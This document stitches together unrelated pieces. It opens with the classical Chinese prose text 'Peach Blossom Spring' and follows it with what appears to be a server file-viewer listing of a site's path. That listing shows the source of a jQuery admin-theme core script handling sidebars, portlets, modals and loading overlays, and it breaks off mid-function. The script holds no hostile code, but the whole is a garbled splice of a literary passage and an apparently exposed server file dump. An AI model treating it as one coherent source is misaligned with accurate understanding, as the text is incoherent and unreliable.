晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
| DIR:/home/bolconlineco/www/assets/scripts/core/ |
| Current File : //home/bolconlineco/www/assets/scripts/core/app.js |
/**
Core script to handle the entire theme and core functions
**/
var App = function () {
// IE mode
var isRTL = false;
var isIE8 = false;
var isIE9 = false;
var isIE10 = false;
var sidebarWidth = 225;
var sidebarCollapsedWidth = 35;
var responsiveHandlers = [];
// theme layout color set
var layoutColorCodes = {
'blue': '#4b8df8',
'red': '#e02222',
'green': '#35aa47',
'purple': '#852b99',
'grey': '#555555',
'light-grey': '#fafafa',
'yellow': '#ffb848'
};
// To get the correct viewport width based on http://andylangton.co.uk/articles/javascript/get-viewport-size-javascript/
var _getViewPort = function () {
var e = window, a = 'inner';
if (!('innerWidth' in window)) {
a = 'client';
e = document.documentElement || document.body;
}
return {
width: e[a + 'Width'],
height: e[a + 'Height']
}
}
// initializes main settings
var handleInit = function () {
if ($('body').css('direction') === 'rtl') {
isRTL = true;
}
isIE8 = !! navigator.userAgent.match(/MSIE 8.0/);
isIE9 = !! navigator.userAgent.match(/MSIE 9.0/);
isIE10 = !! navigator.userAgent.match(/MSIE 10.0/);
if (isIE10) {
jQuery('html').addClass('ie10'); // detect IE10 version
}
if (isIE10 || isIE9 || isIE8) {
jQuery('html').addClass('ie'); // detect IE10 version
}
/*
Virtual keyboards:
Also, note that if you're using inputs in your modal – iOS has a rendering bug which doesn't
update the position of fixed elements when the virtual keyboard is triggered
*/
var deviceAgent = navigator.userAgent.toLowerCase();
if (deviceAgent.match(/(iphone|ipod|ipad)/)) {
$(document).on('focus', 'input, textarea', function () {
$('.page-header').hide();
$('.page-footer').hide();
});
$(document).on('blur', 'input, textarea', function () {
$('.page-header').show();
$('.page-footer').show();
});
}
}
var handleSidebarState = function () {
// remove sidebar toggler if window width smaller than 992(for tablet and phone mode)
var viewport = _getViewPort();
if (viewport.width < 992) {
$('body').removeClass("page-sidebar-closed");
}
}
// runs callback functions set by App.addResponsiveHandler().
var runResponsiveHandlers = function () {
// reinitialize other subscribed elements
for (var i = 0; i < responsiveHandlers.length; i++) {
var each = responsiveHandlers[i];
each.call();
}
}
// reinitialize the laypot on window resize
var handleResponsive = function () {
handleSidebarState();
handleSidebarAndContentHeight();
handleFixedSidebar();
runResponsiveHandlers();
}
// initialize the layout on page load
var handleResponsiveOnInit = function () {
handleSidebarState();
handleSidebarAndContentHeight();
}
// handle the layout reinitialization on window resize
var handleResponsiveOnResize = function () {
var resize;
if (isIE8) {
var currheight;
$(window).resize(function () {
if (currheight == document.documentElement.clientHeight) {
return; //quite event since only body resized not window.
}
if (resize) {
clearTimeout(resize);
}
resize = setTimeout(function () {
handleResponsive();
}, 50); // wait 50ms until window resize finishes.
currheight = document.documentElement.clientHeight; // store last body client height
});
} else {
$(window).resize(function () {
if (resize) {
clearTimeout(resize);
}
resize = setTimeout(function () {
handleResponsive();
}, 50); // wait 50ms until window resize finishes.
});
}
}
//* BEGIN:CORE HANDLERS *//
// this function handles responsive layout on screen size resize or mobile device rotate.
// Set proper height for sidebar and content. The content and sidebar height must be synced always.
var handleSidebarAndContentHeight = function () {
var content = $('.page-content');
var sidebar = $('.page-sidebar');
var body = $('body');
var height;
if (body.hasClass("page-footer-fixed") === true && body.hasClass("page-sidebar-fixed") === false) {
var available_height = $(window).height() - $('.footer').outerHeight() - $('.header').outerHeight();
if (content.height() < available_height) {
content.attr('style', 'min-height:' + available_height + 'px !important');
}
} else {
if (body.hasClass('page-sidebar-fixed')) {
height = _calculateFixedSidebarViewportHeight();
} else {
height = sidebar.height() + 20;
var headerHeight = $('.header').outerHeight();
var footerHeight = $('.footer').outerHeight();
if ($(window).width() > 1024 && (height + headerHeight + footerHeight) < $(window).height()) {
height = $(window).height() - headerHeight - footerHeight;
}
}
if (height >= content.height()) {
content.attr('style', 'min-height:' + height + 'px !important');
}
}
}
// Handle sidebar menu
var handleSidebarMenu = function () {
jQuery('.page-sidebar').on('click', 'li > a', function (e) {
if ($(this).next().hasClass('sub-menu') == false) {
if ($('.btn-navbar').hasClass('collapsed') == false) {
$('.btn-navbar').click();
}
return;
}
if ($(this).next().hasClass('sub-menu always-open')) {
return;
}
var parent = $(this).parent().parent();
var the = $(this);
var menu = $('.page-sidebar-menu');
var sub = jQuery(this).next();
var autoScroll = menu.data("auto-scroll") ? menu.data("auto-scroll") : true;
var slideSpeed = menu.data("slide-speed") ? parseInt(menu.data("slide-speed")) : 200;
parent.children('li.open').children('a').children('.arrow').removeClass('open');
parent.children('li.open').children('.sub-menu:not(.always-open)').slideUp(200);
parent.children('li.open').removeClass('open');
var slideOffeset = -200;
if (sub.is(":visible")) {
jQuery('.arrow', jQuery(this)).removeClass("open");
jQuery(this).parent().removeClass("open");
sub.slideUp(slideSpeed, function () {
if (autoScroll == true && $('body').hasClass('page-sidebar-closed') == false) {
if ($('body').hasClass('page-sidebar-fixed')) {
menu.slimScroll({'scrollTo': (the.position()).top});
} else {
App.scrollTo(the, slideOffeset);
}
}
handleSidebarAndContentHeight();
});
} else {
jQuery('.arrow', jQuery(this)).addClass("open");
jQuery(this).parent().addClass("open");
sub.slideDown(slideSpeed, function () {
if (autoScroll == true && $('body').hasClass('page-sidebar-closed') == false) {
if ($('body').hasClass('page-sidebar-fixed')) {
menu.slimScroll({'scrollTo': (the.position()).top});
} else {
App.scrollTo(the, slideOffeset);
}
}
handleSidebarAndContentHeight();
});
}
e.preventDefault();
});
// handle ajax links within sidebar menu
jQuery('.page-sidebar').on('click', ' li > a.ajaxify', function (e) {
e.preventDefault();
App.scrollTop();
var url = $(this).attr("href");
var menuContainer = jQuery('.page-sidebar ul');
var pageContent = $('.page-content');
var pageContentBody = $('.page-content .page-content-body');
menuContainer.children('li.active').removeClass('active');
menuContainer.children('arrow.open').removeClass('open');
$(this).parents('li').each(function () {
$(this).addClass('active');
$(this).children('a > span.arrow').addClass('open');
});
$(this).parents('li').addClass('active');
App.startPageLoading();
if ($(window).width() <= 991 && $('.page-sidebar').hasClass("in")) {
$('.navbar-toggle').click();
}
$.ajax({
type: "GET",
cache: false,
url: url,
dataType: "html",
success: function (res) {
App.stopPageLoading();
pageContentBody.html(res);
App.fixContentHeight(); // fix content height
App.initAjax(); // initialize core stuff
},
error: function (xhr, ajaxOptions, thrownError) {
pageContentBody.html('<h4>Could not load the requested content.</h4>');
App.stopPageLoading();
}
});
});
// handle ajax link within main content
jQuery('.page-content').on('click', '.ajaxify', function (e) {
e.preventDefault();
App.scrollTop();
var url = $(this).attr("href");
var pageContent = $('.page-content');
var pageContentBody = $('.page-content .page-content-body');
App.startPageLoading();
if ($(window).width() <= 991 && $('.page-sidebar').hasClass("in")) {
$('.navbar-toggle').click();
}
$.ajax({
type: "GET",
cache: false,
url: url,
dataType: "html",
success: function (res) {
App.stopPageLoading();
pageContentBody.html(res);
App.fixContentHeight(); // fix content height
App.initAjax(); // initialize core stuff
},
error: function (xhr, ajaxOptions, thrownError) {
pageContentBody.html('<h4>Could not load the requested content.</h4>');
App.stopPageLoading();
}
});
});
}
// Helper function to calculate sidebar height for fixed sidebar layout.
var _calculateFixedSidebarViewportHeight = function () {
var sidebarHeight = $(window).height() - $('.header').height() + 1;
if ($('body').hasClass("page-footer-fixed")) {
sidebarHeight = sidebarHeight - $('.footer').outerHeight();
}
return sidebarHeight;
}
// Handles fixed sidebar
var handleFixedSidebar = function () {
var menu = $('.page-sidebar-menu');
if (menu.parent('.slimScrollDiv').size() === 1) { // destroy existing instance before updating the height
menu.slimScroll({
destroy: true
});
menu.removeAttr('style');
$('.page-sidebar').removeAttr('style');
}
if ($('.page-sidebar-fixed').size() === 0) {
handleSidebarAndContentHeight();
return;
}
var viewport = _getViewPort();
if (viewport.width >= 992) {
var sidebarHeight = _calculateFixedSidebarViewportHeight();
menu.slimScroll({
size: '7px',
color: '#a1b2bd',
opacity: .3,
position: isRTL ? 'left' : 'right',
height: sidebarHeight,
allowPageScroll: false,
disableFadeOut: false
});
handleSidebarAndContentHeight();
}
}
// Handles the sidebar menu hover effect for fixed sidebar.
var handleFixedSidebarHoverable = function () {
if ($('body').hasClass('page-sidebar-fixed') === false) {
return;
}
$('.page-sidebar').off('mouseenter').on('mouseenter', function () {
var body = $('body');
if ((body.hasClass('page-sidebar-closed') === false || body.hasClass('page-sidebar-fixed') === false) || $(this).hasClass('page-sidebar-hovering')) {
return;
}
body.removeClass('page-sidebar-closed').addClass('page-sidebar-hover-on');
if (body.hasClass("page-sidebar-reversed")) {
$(this).width(sidebarWidth);
} else {
$(this).addClass('page-sidebar-hovering');
$(this).animate({
width: sidebarWidth
}, 400, '', function () {
$(this).removeClass('page-sidebar-hovering');
});
}
});
$('.page-sidebar').off('mouseleave').on('mouseleave', function () {
var body = $('body');
if ((body.hasClass('page-sidebar-hover-on') === false || body.hasClass('page-sidebar-fixed') === false) || $(this).hasClass('page-sidebar-hovering')) {
return;
}
if (body.hasClass("page-sidebar-reversed")) {
$('body').addClass('page-sidebar-closed').removeClass('page-sidebar-hover-on');
$(this).width(sidebarCollapsedWidth);
} else {
$(this).addClass('page-sidebar-hovering');
$(this).animate({
width: sidebarCollapsedWidth
}, 400, '', function () {
$('body').addClass('page-sidebar-closed').removeClass('page-sidebar-hover-on');
$(this).removeClass('page-sidebar-hovering');
});
}
});
}
// Handles sidebar toggler to close/hide the sidebar.
var handleSidebarToggler = function () {
var viewport = _getViewPort();
if ($.cookie && $.cookie('sidebar_closed') === '1' && viewport.width >= 992) {
$('body').addClass('page-sidebar-closed');
}
// handle sidebar show/hide
$('.page-sidebar, .header').on('click', '.sidebar-toggler', function (e) {
var body = $('body');
var sidebar = $('.page-sidebar');
if ((body.hasClass("page-sidebar-hover-on") && body.hasClass('page-sidebar-fixed')) || sidebar.hasClass('page-sidebar-hovering')) {
body.removeClass('page-sidebar-hover-on');
sidebar.css('width', '').hide().show();
handleSidebarAndContentHeight(); //fix content & sidebar height
if ($.cookie) {
$.cookie('sidebar_closed', '0');
}
e.stopPropagation();
runResponsiveHandlers();
return;
}
$(".sidebar-search", sidebar).removeClass("open");
if (body.hasClass("page-sidebar-closed")) {
body.removeClass("page-sidebar-closed");
if (body.hasClass('page-sidebar-fixed')) {
sidebar.css('width', '');
}
if ($.cookie) {
$.cookie('sidebar_closed', '0');
}
} else {
body.addClass("page-sidebar-closed");
if ($.cookie) {
$.cookie('sidebar_closed', '1');
}
}
handleSidebarAndContentHeight(); //fix content & sidebar height
runResponsiveHandlers();
});
// handle the search bar close
$('.page-sidebar').on('click', '.sidebar-search .remove', function (e) {
e.preventDefault();
$('.sidebar-search').removeClass("open");
});
// handle the search query submit on enter press
$('.page-sidebar .sidebar-search').on('keypress', 'input.form-control', function (e) {
if (e.which == 13) {
$('.sidebar-search').submit();
return false; //<---- Add this line
}
});
// handle the search submit(for sidebar search and responsive mode of the header search)
$('.sidebar-search .submit').on('click', function (e) {
e.preventDefault();
if ($('body').hasClass("page-sidebar-closed")) {
if ($('.sidebar-search').hasClass('open') == false) {
if ($('.page-sidebar-fixed').size() === 1) {
$('.page-sidebar .sidebar-toggler').click(); //trigger sidebar toggle button
}
$('.sidebar-search').addClass("open");
} else {
$('.sidebar-search').submit();
}
} else {
$('.sidebar-search').submit();
}
});
// header search box:
// handle the search query submit on enter press
$('.header .search-form').on('keypress', 'input.form-control', function (e) {
if (e.which == 13) {
$('.sidebar-search').submit();
return false; //<---- Add this line
}
});
//handle header search button click
$('.header .search-form .submit').on('click', function (e) {
e.preventDefault();
$('.header .search-form').submit();
});
}
// Handles the horizontal menu
var handleHorizontalMenu = function () {
//handle hor menu search form toggler click
$('.header').on('click', '.hor-menu .hor-menu-search-form-toggler', function (e) {
if ($(this).hasClass('off')) {
$(this).removeClass('off');
$('.header .hor-menu .search-form').hide();
} else {
$(this).addClass('off');
$('.header .hor-menu .search-form').show();
}
e.preventDefault();
});
//handle tab click
$('.header').on('click', '.hor-menu a[data-toggle="tab"]', function (e) {
e.preventDefault();
var nav = $(".hor-menu .nav");
var active_link = nav.find('li.current');
$('li.active', active_link).removeClass("active");
$('.selected', active_link).remove();
var new_link = $(this).parents('li').last();
new_link.addClass("current");
new_link.find("a:first").append('<span class="selected"></span>');
});
//handle hor menu search button click
$('.header').on('click', '.hor-menu .search-form .btn', function (e) {
$('.form-search').submit();
e.preventDefault();
});
//handle hor menu search form on enter press
$('.header').on('keypress', '.hor-menu .search-form input', function (e) {
if (e.which == 13) {
$('.form-search').submit();
return false;
}
});
}
// Handles the go to top button at the footer
var handleGoTop = function () {
/* set variables locally for increased performance */
jQuery('.footer').on('click', '.go-top', function (e) {
App.scrollTo();
e.preventDefault();
});
}
// Handles portlet tools & actions
var handlePortletTools = function () {
jQuery('body').on('click', '.portlet > .portlet-title > .tools > a.remove', function (e) {
e.preventDefault();
jQuery(this).closest(".portlet").remove();
});
jQuery('body').on('click', '.portlet > .portlet-title > .tools > a.reload', function (e) {
e.preventDefault();
var el = jQuery(this).closest(".portlet").children(".portlet-body");
var url = jQuery(this).attr("data-url");
var error = $(this).attr("data-error-display");
if (url) {
App.blockUI({target: el, iconOnly: true});
$.ajax({
type: "GET",
cache: false,
url: url,
dataType: "html",
success: function(res)
{
App.unblockUI(el);
el.html(res);
},
error: function(xhr, ajaxOptions, thrownError)
{
App.unblockUI(el);
var msg = 'Error on reloading the content. Please check your connection and try again.';
if (error == "toastr" && toastr) {
toastr.error(msg);
} else if (error == "notific8" && $.notific8) {
$.notific8('zindex', 11500);
$.notific8(msg, {theme: 'ruby', life: 3000});
} else {
alert(msg);
}
}
});
} else {
// for demo purpose
App.blockUI({target: el, iconOnly: true});
window.setTimeout(function () {
App.unblockUI(el);
}, 1000);
}
});
// load ajax data on page init
$('.portlet .portlet-title a.reload[data-load="true"]').click();
jQuery('body').on('click', '.portlet > .portlet-title > .tools > .collapse, .portlet .portlet-title > .tools > .expand', function (e) {
e.preventDefault();
var el = jQuery(this).closest(".portlet").children(".portlet-body");
if (jQuery(this).hasClass("collapse")) {
jQuery(this).removeClass("collapse").addClass("expand");
el.slideUp(200);
} else {
jQuery(this).removeClass("expand").addClass("collapse");
el.slideDown(200);
}
});
}
// Handles custom checkboxes & radios using jQuery Uniform plugin
var handleUniform = function () {
if (!jQuery().uniform) {
return;
}
var test = $("input[type=checkbox]:not(.toggle, .make-switch), input[type=radio]:not(.toggle, .star, .make-switch)");
if (test.size() > 0) {
test.each(function () {
if ($(this).parents(".checker").size() == 0) {
$(this).show();
$(this).uniform();
}
});
}
}
var handleBootstrapSwitch = function () {
if (!jQuery().bootstrapSwitch) {
return;
}
$('.make-switch').bootstrapSwitch();
}
// Handles Bootstrap Accordions.
var handleAccordions = function () {
jQuery('body').on('shown.bs.collapse', '.accordion.scrollable', function (e) {
App.scrollTo($(e.target));
});
}
// Handles Bootstrap Tabs.
var handleTabs = function () {
// fix content height on tab click
$('body').on('shown.bs.tab', '.nav.nav-tabs', function () {
handleSidebarAndContentHeight();
});
//activate tab if tab id provided in the URL
if (location.hash) {
var tabid = location.hash.substr(1);
$('a[href="#' + tabid + '"]').parents('.tab-pane:hidden').each(function(){
var tabid = $(this).attr("id");
$('a[href="#' + tabid + '"]').click();
});
$('a[href="#' + tabid + '"]').click();
}
}
// Handles Bootstrap Modals.
var handleModals = function () {
// fix stackable modal issue: when 2 or more modals opened, closing one of modal will remove .modal-open class.
$('body').on('hide.bs.modal', function () {
if ($('.modal:visible').size() > 1 && $('html').hasClass('modal-open') == false) {
$('html').addClass('modal-open');
} else if ($('.modal:visible').size() <= 1) {
$('html').removeClass('modal-open');
}
});
$('body').on('show.bs.modal', '.modal', function () {
if ($(this).hasClass("modal-scroll")) {
$('body').addClass("modal-open-noscroll");
}
});
$('body').on('hide.bs.modal', '.modal', function () {
$('body').removeClass("modal-open-noscroll");
});
}
// Handles Bootstrap Tooltips.
var handleTooltips = function () {
jQuery('.tooltips').tooltip();
}
// Handles Bootstrap Dropdowns
var handleDropdowns = function () {
/*
Hold dropdown on click
*/
$('body').on('click', '.dropdown-menu.hold-on-click', function (e) {
e.stopPropagation();
});
}
// Handle Hower Dropdowns
var handleDropdownHover = function () {
$('[data-hover="dropdown"]').dropdownHover();
}
var handleAlerts = function () {
$('body').on('click', '[data-close="alert"]', function(e){
$(this).parent('.alert').hide();
e.preventDefault();
});
}
// Handles Bootstrap Popovers
// last popep popover
var lastPopedPopover;
var handlePopovers = function () {
jQuery('.popovers').popover();
// close last poped popover
$(document).on('click.bs.popover.data-api', function (e) {
if (lastPopedPopover) {
lastPopedPopover.popover('hide');
}
});
}
// Handles scrollable contents using jQuery SlimScroll plugin.
var handleScrollers = function () {
$('.scroller').each(function () {
var height;
if ($(this).attr("data-height")) {
height = $(this).attr("data-height");
} else {
height = $(this).css('height');
}
$(this).slimScroll({
allowPageScroll: true, // allow page scroll when the element scroll is ended
size: '7px',
color: ($(this).attr("data-handle-color") ? $(this).attr("data-handle-color") : '#bbb'),
railColor: ($(this).attr("data-rail-color") ? $(this).attr("data-rail-color") : '#eaeaea'),
position: isRTL ? 'left' : 'right',
height: height,
alwaysVisible: ($(this).attr("data-always-visible") == "1" ? true : false),
railVisible: ($(this).attr("data-rail-visible") == "1" ? true : false),
disableFadeOut: true
});
});
}
// Handles Image Preview using jQuery Fancybox plugin
var handleFancybox = function () {
if (!jQuery.fancybox) {
return;
}
if (jQuery(".fancybox-button").size() > 0) {
jQuery(".fancybox-button").fancybox({
groupAttr: 'data-rel',
prevEffect: 'none',
nextEffect: 'none',
closeBtn: true,
helpers: {
title: {
type: 'inside'
}
}
});
}
}
// Fix input placeholder issue for IE8 and IE9
var handleFixInputPlaceholderForIE = function () {
//fix html5 placeholder attribute for ie7 & ie8
if (isIE8 || isIE9) { // ie8 & ie9
// this is html5 placeholder fix for inputs, inputs with placeholder-no-fix class will be skipped(e.g: we need this for password fields)
jQuery('input[placeholder]:not(.placeholder-no-fix), textarea[placeholder]:not(.placeholder-no-fix)').each(function () {
var input = jQuery(this);
if (input.val() == '' && input.attr("placeholder") != '') {
input.addClass("placeholder").val(input.attr('placeholder'));
}
input.focus(function () {
if (input.val() == input.attr('placeholder')) {
input.val('');
}
});
input.blur(function () {
if (input.val() == '' || input.val() == input.attr('placeholder')) {
input.val(input.attr('placeholder'));
}
});
});
}
}
// Handle full screen mode toggle
var handleFullScreenMode = function() {
// mozfullscreenerror event handler
// toggle full screen
function toggleFullScreen() {
if (!document.fullscreenElement && // alternative standard method
!document.mozFullScreenElement && !document.webkitFullscreenElement) { // current working methods
if (document.documentElement.requestFullscreen) {
document.documentElement.requestFullscreen();
} else if (document.documentElement.mozRequestFullScreen) {
document.documentElement.mozRequestFullScreen();
} else if (document.documentElement.webkitRequestFullscreen) {
document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT);
}
} else {
if (document.cancelFullScreen) {
document.cancelFullScreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitCancelFullScreen) {
document.webkitCancelFullScreen();
}
}
}
$('#trigger_fullscreen').click(function() {
toggleFullScreen();
});
}
// Handle Select2 Dropdowns
var handleSelect2 = function() {
if (jQuery().select2) {
$('.select2me').select2({
placeholder: "Select",
allowClear: true
});
}
}
// Handle Theme Settings
var handleTheme = function () {
var panel = $('.theme-panel');
if ($('body').hasClass('page-boxed') == false) {
$('.layout-option', panel).val("fluid");
}
$('.sidebar-option', panel).val("default");
$('.header-option', panel).val("fixed");
$('.footer-option', panel).val("default");
if ( $('.sidebar-pos-option').attr("disabled") === false) {
$('.sidebar-pos-option', panel).val(App.isRTL() ? 'right' : 'left');
}
//handle theme layout
var resetLayout = function () {
$("body").
removeClass("page-boxed").
removeClass("page-footer-fixed").
removeClass("page-sidebar-fixed").
removeClass("page-header-fixed").
removeClass("page-sidebar-reversed");
$('.header > .header-inner').removeClass("container");
if ($('.page-container').parent(".container").size() === 1) {
$('.page-container').insertAfter('body > .clearfix');
}
if ($('.footer > .container').size() === 1) {
$('.footer').html($('.footer > .container').html());
} else if ($('.footer').parent(".container").size() === 1) {
$('.footer').insertAfter('.page-container');
}
$('body > .container').remove();
}
var lastSelectedLayout = '';
var setLayout = function () {
var layoutOption = $('.layout-option', panel).val();
var sidebarOption = $('.sidebar-option', panel).val();
var headerOption = $('.header-option', panel).val();
var footerOption = $('.footer-option', panel).val();
var sidebarPosOption = $('.sidebar-pos-option', panel).val();
if (sidebarOption == "fixed" && headerOption == "default") {
alert('Default Header with Fixed Sidebar option is not supported. Proceed with Fixed Header with Fixed Sidebar.');
$('.header-option', panel).val("fixed");
$('.sidebar-option', panel).val("fixed");
sidebarOption = 'fixed';
headerOption = 'fixed';
}
resetLayout(); // reset layout to default state
if (layoutOption === "boxed") {
$("body").addClass("page-boxed");
// set header
$('.header > .header-inner').addClass("container");
var cont = $('body > .clearfix').after('<div class="container"></div>');
// set content
$('.page-container').appendTo('body > .container');
// set footer
if (footerOption === 'fixed') {
$('.footer').html('<div class="container">' + $('.footer').html() + '</div>');
} else {
$('.footer').appendTo('body > .container');
}
}
if (lastSelectedLayout != layoutOption) {
//layout changed, run responsive handler:
runResponsiveHandlers();
}
lastSelectedLayout = layoutOption;
//header
if (headerOption === 'fixed') {
$("body").addClass("page-header-fixed");
$(".header").removeClass("navbar-static-top").addClass("navbar-fixed-top");
} else {
$("body").removeClass("page-header-fixed");
$(".header").removeClass("navbar-fixed-top").addClass("navbar-static-top");
}
//sidebar
if ($('body').hasClass('page-full-width') === false) {
if (sidebarOption === 'fixed') {
$("body").addClass("page-sidebar-fixed");
} else {
$("body").removeClass("page-sidebar-fixed");
}
}
//footer
if (footerOption === 'fixed') {
$("body").addClass("page-footer-fixed");
} else {
$("body").removeClass("page-footer-fixed");
}
//sidebar position
if (App.isRTL()) {
if (sidebarPosOption === 'left') {
$("body").addClass("page-sidebar-reversed");
$('#frontend-link').tooltip('destroy').tooltip({placement: 'right'});
} else {
$("body").removeClass("page-sidebar-reversed");
$('#frontend-link').tooltip('destroy').tooltip({placement: 'left'});
}
} else {
if (sidebarPosOption === 'right') {
$("body").addClass("page-sidebar-reversed");
$('#frontend-link').tooltip('destroy').tooltip({placement: 'left'});
} else {
$("body").removeClass("page-sidebar-reversed");
$('#frontend-link').tooltip('destroy').tooltip({placement: 'right'});
}
}
handleSidebarAndContentHeight(); // fix content height
handleFixedSidebar(); // reinitialize fixed sidebar
handleFixedSidebarHoverable(); // reinitialize fixed sidebar hover effect
}
// handle theme colors
var setColor = function (color) {
var color_ = (App.isRTL() ? color + '-rtl' : color);
$('#style_color').attr("href", "assets/css/themes/" + color_ + ".css");
if ($.cookie) {
$.cookie('style_color', color);
}
}
$('.toggler', panel).click(function () {
$('.toggler').hide();
$('.toggler-close').show();
$('.theme-panel > .theme-options').show();
});
$('.toggler-close', panel).click(function () {
$('.toggler').show();
$('.toggler-close').hide();
$('.theme-panel > .theme-options').hide();
});
$('.theme-colors > ul > li', panel).click(function () {
var color = $(this).attr("data-style");
setColor(color);
$('ul > li', panel).removeClass("current");
$(this).addClass("current");
});
$('.layout-option, .header-option, .sidebar-option, .footer-option, .sidebar-pos-option', panel).change(setLayout);
if ($.cookie && $.cookie('style_color')) {
setColor($.cookie('style_color'));
}
}
//* END:CORE HANDLERS *//
return {
//main function to initiate the theme
init: function () {
//IMPORTANT!!!: Do not modify the core handlers call order.
//core handlers
handleInit(); // initialize core variables
handleResponsiveOnResize(); // set and handle responsive
handleUniform(); // hanfle custom radio & checkboxes
handleBootstrapSwitch(); // handle bootstrap switch plugin
handleScrollers(); // handles slim scrolling contents
handleResponsiveOnInit(); // handler responsive elements on page load
//layout handlers
handleFixedSidebar(); // handles fixed sidebar menu
handleFixedSidebarHoverable(); // handles fixed sidebar on hover effect
handleSidebarMenu(); // handles main menu
handleHorizontalMenu(); // handles horizontal menu
handleSidebarToggler(); // handles sidebar hide/show
handleFixInputPlaceholderForIE(); // fixes/enables html5 placeholder attribute for IE9, IE8
handleGoTop(); //handles scroll to top functionality in the footer
handleTheme(); // handles style customer tool
//ui component handlers
handleFancybox() // handle fancy box
handleSelect2(); // handle custom Select2 dropdowns
handlePortletTools(); // handles portlet action bar functionality(refresh, configure, toggle, remove)
handleAlerts(); //handle closabled alerts
handleDropdowns(); // handle dropdowns
handleTabs(); // handle tabs
handleTooltips(); // handle bootstrap tooltips
handlePopovers(); // handles bootstrap popovers
handleAccordions(); //handles accordions
handleModals(); // handle modals
handleFullScreenMode(); // handles full screen
},
//main function to initiate core javascript after ajax complete
initAjax: function () {
handleScrollers(); // handles slim scrolling contents
handleSelect2(); // handle custom Select2 dropdowns
handleDropdowns(); // handle dropdowns
handleTooltips(); // handle bootstrap tooltips
handlePopovers(); // handles bootstrap popovers
handleAccordions(); //handles accordions
handleUniform(); // hanfle custom radio & checkboxes
handleBootstrapSwitch(); // handle bootstrap switch plugin
handleDropdownHover() // handles dropdown hover
},
//public function to fix the sidebar and content height accordingly
fixContentHeight: function () {
handleSidebarAndContentHeight();
},
//public function to remember last opened popover that needs to be closed on click
setLastPopedPopover: function (el) {
lastPopedPopover = el;
},
//public function to add callback a function which will be called on window resize
addResponsiveHandler: function (func) {
responsiveHandlers.push(func);
},
// useful function to make equal height for contacts stand side by side
setEqualHeight: function (els) {
var tallestEl = 0;
els = jQuery(els);
els.each(function () {
var currentHeight = $(this).height();
if (currentHeight > tallestEl) {
tallestColumn = currentHeight;
}
});
els.height(tallestEl);
},
// wrapper function to scroll(focus) to an element
scrollTo: function (el, offeset) {
var pos = (el && el.size() > 0) ? el.offset().top : 0;
if (el) {
if ($('body').hasClass('page-header-fixed')) {
pos = pos - $('.header').height();
}
pos = pos + (offeset ? offeset : -1 * el.height());
}
jQuery('html,body').animate({
scrollTop: pos
}, 'slow');
},
// function to scroll to the top
scrollTop: function () {
App.scrollTo();
},
// wrapper function to block element(indicate loading)
blockUI: function (options) {
var options = $.extend(true, {}, options);
var html = '';
if (options.iconOnly) {
html = '<div class="loading-message ' + (options.boxed ? 'loading-message-boxed' : '')+'"><img style="" src="./assets/img/loading-spinner-grey.gif" align=""></div>';
} else if (options.textOnly) {
html = '<div class="loading-message ' + (options.boxed ? 'loading-message-boxed' : '')+'"><span> ' + (options.message ? options.message : 'LOADING...') + '</span></div>';
} else {
html = '<div class="loading-message ' + (options.boxed ? 'loading-message-boxed' : '')+'"><img style="" src="./assets/img/loading-spinner-grey.gif" align=""><span> ' + (options.message ? options.message : 'LOADING...') + '</span></div>';
}
if (options.target) { // element blocking
var el = jQuery(options.target);
if (el.height() <= ($(window).height())) {
options.cenrerY = true;
}
el.block({
message: html,
baseZ: options.zIndex ? options.zIndex : 1000,
centerY: options.cenrerY != undefined ? options.cenrerY : false,
css: {
top: '10%',
border: '0',
padding: '0',
backgroundColor: 'none'
},
overlayCSS: {
backgroundColor: options.overlayColor ? options.overlayColor : '#000',
opacity: options.boxed ? 0.05 : 0.1,
cursor: 'wait'
}
});
} else { // page blocking
$.blockUI({
message: html,
baseZ: options.zIndex ? options.zIndex : 1000,
css: {
border: '0',
padding: '0',
backgroundColor: 'none'
},
overlayCSS: {
backgroundColor: options.overlayColor ? options.overlayColor : '#000',
opacity: options.boxed ? 0.05 : 0.1,
cursor: 'wait'
}
});
}
},
// wrapper function to un-block element(finish loading)
unblockUI: function (target) {
if (target) {
jQuery(target).unblock({
onUnblock: function () {
jQuery(target).css('position', '');
jQuery(target).css('zoom', '');
}
});
} else {
$.unblockUI();
}
},
startPageLoading: function(message) {
$('.page-loading').remove();
$('body').append('<div class="page-loading"><img src="assets/img/loading-spinner-grey.gif"/> <span>' + (message ? message : 'Loading...') + '</span></div>');
},
stopPageLoading: function() {
$('.page-loading').remove();
},
// initializes uniform elements
initUniform: function (els) {
if (els) {
jQuery(els).each(function () {
if ($(this).parents(".checker").size() == 0) {
$(this).show();
$(this).uniform();
}
});
} else {
handleUniform();
}
},
//wrapper function to update/sync jquery uniform checkbox & radios
updateUniform: function (els) {
$.uniform.update(els); // update the uniform checkbox & radios UI after the actual input control state changed
},
//public function to initialize the fancybox plugin
initFancybox: function () {
handleFancybox();
},
//public helper function to get actual input value(used in IE9 and IE8 due to placeholder attribute not supported)
getActualVal: function (el) {
var el = jQuery(el);
if (el.val() === el.attr("placeholder")) {
return "";
}
return el.val();
},
//public function to get a paremeter by name from URL
getURLParameter: function (paramName) {
var searchString = window.location.search.substring(1),
i, val, params = searchString.split("&");
for (i = 0; i < params.length; i++) {
val = params[i].split("=");
if (val[0] == paramName) {
return unescape(val[1]);
}
}
return null;
},
// check for device touch setup
isTouchDevice: function () {
try {
document.createEvent("TouchEvent");
return true;
} catch (e) {
return false;
}
},
getUniqueID: function(prefix) {
